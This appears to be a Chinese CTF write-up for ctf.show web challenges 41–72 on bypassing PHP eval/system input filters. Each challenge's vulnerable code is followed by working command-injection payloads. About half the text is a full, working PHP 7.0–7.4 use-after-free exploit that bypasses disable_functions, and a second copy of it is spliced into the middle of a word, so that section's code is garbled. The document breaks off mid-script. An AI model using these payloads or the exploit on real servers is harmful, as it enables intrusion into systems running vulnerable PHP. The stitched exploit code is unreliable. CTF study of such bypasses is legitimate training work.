if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
数字和字符都过滤了,我们只能用英文字母,无参rce
php
print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
web41--难死我了
考点:
或运算绕过--|
重点+疑点:
POST传参自动进行了一次URL解码,我对浏览器上传数据编码还很陌生,碰到了再说吧
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
php
用法 python exp.py <url>
上面用的是自动脚本,python代码里传参就完成了
如果用的是浏览器,会被卡住
- (1)初始状态,抓包发现会给你进行一次url编码
- ①
- ②
- (2)自己进行一次url编码后,就不会给你url编码了
- ①
- ②
奶奶的,又进行了一次url编码,得在burpsuit里修改c
web42
考点:
输出定向截断
疑点:
%26解码后得&--%26可以用,&不行
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1
,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以需要把后面截断; %0a
(换行符),后面不用多说了吧,还可以用%26
(&)以及||
php
?c=cat flag.php;
web43
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
和42没多大区别。。。。,过滤了catnl%20flag.php%0a
web44
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了flag,没啥好说的通配符呗
c=nl%20fl*%0a
web45
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了一个空格,总所周知php环境下可以用%09
代替空格
php
?c=nl%09fl*%0
a或者使用内联执行
?c=echo`nl$IFS*`%0A
web46
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了一些数字啥的,等于没来,然后过滤了flag也可以其他姿势\ '' ""
等等都行
c=nl%09fla\g.php%0a
还可以是,因为||默认是前面成功则不执行后面
c=nl%09fla\g.php||
web47
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
php
过滤了一点命令等于没说
?c=nl<fla''g.php||
web48
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `
php
过滤了一点命令等于没说
?c=nl<fla''g.php||
web49
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %
php
比上一道题多过滤了%,还阔以用
?c=nl<fla''g.php||
web50
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % 制表符 &
php
比上一道题多过滤了制表符 &,还阔以用
?c=nl<fla''g.php||
web51
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
; cat flag 空格 [0-9] $ * more less head sort tail sed cut tac awk strings od curl ` % 制表符 &
php
比上一道题多过滤了tac,还阔以用`nl`
?c=nl<fla''g.php||
web52
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
; cat flag 空格 [0-9] * more less head sort tail sed cut tac awk strings od curl ` % 制表符 & > <
php
比上一道题多过滤了`> <`,少过滤了`$`,空格绕过的变化
?c=nl${IFS}fla''g.php||
web53
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
; cat flag 空格 [0-9] * more wget less head sort tail sed cut tac awk strings od curl ` % 制表符 & > <
php
感觉换了一个系列吧,这里随便来两个payload
payload1:c''at${IFS}fla''g.p''hp
payload2:c=nl$IFS\fla\g.php
web54
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
; .*c.*a.t. .*f.*l.*a.g. 空格 [0-9] * .*m.*o.*r.e. .*w.*g.*e.t. .*l.*e.*s.s. .*h.*e.*a.d. .*s.*o.*r.t. .*t.*a.*i.l. .*s.*e.d. .*c.*u.t. .*t.*a.c. .*a.*w.k. .*s.*t.*r.*i.*n.*g.s. .*o.d. .*c.*u.*r.l. .*n.l. .*s.*c.p. .*r.m. ` % 制表符 & > <
; cat flag 空格 [0-9] * more wget less head sort tail sed cut tac awk strings od curl nl scp rm ` % 制表符 & > <
php
uniq在linux中用来去重 同时也会将去重后的文件内容显示出来,payload
?c=uniq${IFS}f???????
其他payload
#可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
#移动后原来文件就空了
?c=mv${IFS}fla?.php${IFS}a.txt
# 使用执行文件目录+?来绕过被过滤的命令
?c=/bin/?at${IFS}f???????
web55
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
; [a-z] ` % 制表符 & > <
php
payload1:
同样是利用bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
使用base64对flag.php进行加密同时使用?绕过字母的限制
?c=/???/????64%20????.??? # /bin/base64 flag.php
payload2:
利用/usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载,下载后记得解压再看
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
payload3:参考无字母数字webshell
web56
php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
; [a-z] [0-9] $ ( { ' " ` % 制表符 & > <
payload3:参考无字母数字webshell
web57
考点:
构造数字
php
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
; [a-z] [0-9] ` # ' " % 制表符 & 换行符 > < . , ? * - = [
这里利用 $(( ))与整数运算。想办法构造出36
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。
表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())是0
$((~$(())))是-1
$(($((~$(())))$((~$(())))))是-2
这里要构造36,也就是要先构造出-37 然后取反
-37是37个$((~$(())))相加
最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
web58
考点:
绕过disable function
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web59
php
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web60
php
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web61
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web62
php
<?php
if(isset($_POST['c'])){
$c= $ ['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web63
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web64
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web65
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("."));
c=show_source("flag.php");
web66
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
c=var_dump(scandir("/"));
后面因为是txt文件,所以直接用include直接包含就能显示flag
include()
require()
用法:
include("/flag.txt"); //过66-70
require("/flag.txt"); //过66-70
web67
php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
php
payload:
c=var_dump(scandir("/"));
c=include("/flag.txt");
web68
这highlight_file
禁用的源码都看不了
php
payload:
c=var_dump(scandir("/"));
c=include("/flag.txt");
web69
这highlight_file
禁用的源码都看不了
var_dump
被禁用了
php
payload:
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=include("/flag.txt");
web70
这highlight_file
禁用的源码都看不了
var_dump
被禁用了
php
payload:
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=include("/flag.txt");
web71
php
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
可以通过exit提前结束,从而防止缓冲区数据被清除
php
payload:
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; }exit(0);
c=include('/flag.txt');exit(0);
web72
php
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
先输入c=var_dump(scandir('/'));exit(0);
存在一个open_basedir限制
open_basedir限制就是限制可以访问的目录,glob是5.3.0版本起开始生效的一个用来筛选目录的伪协议,它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制
php
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
遍历获取flag位置,然后include读取时发现没有权限
用uaf脚本命令执行poc
,要url编码
php
原始脚本:
payload:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
禁用了其中的函数
php
#用uaf脚本命令执行poc,要url编码
#这个脚本是原始脚本修改过的
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
clas<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}s Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
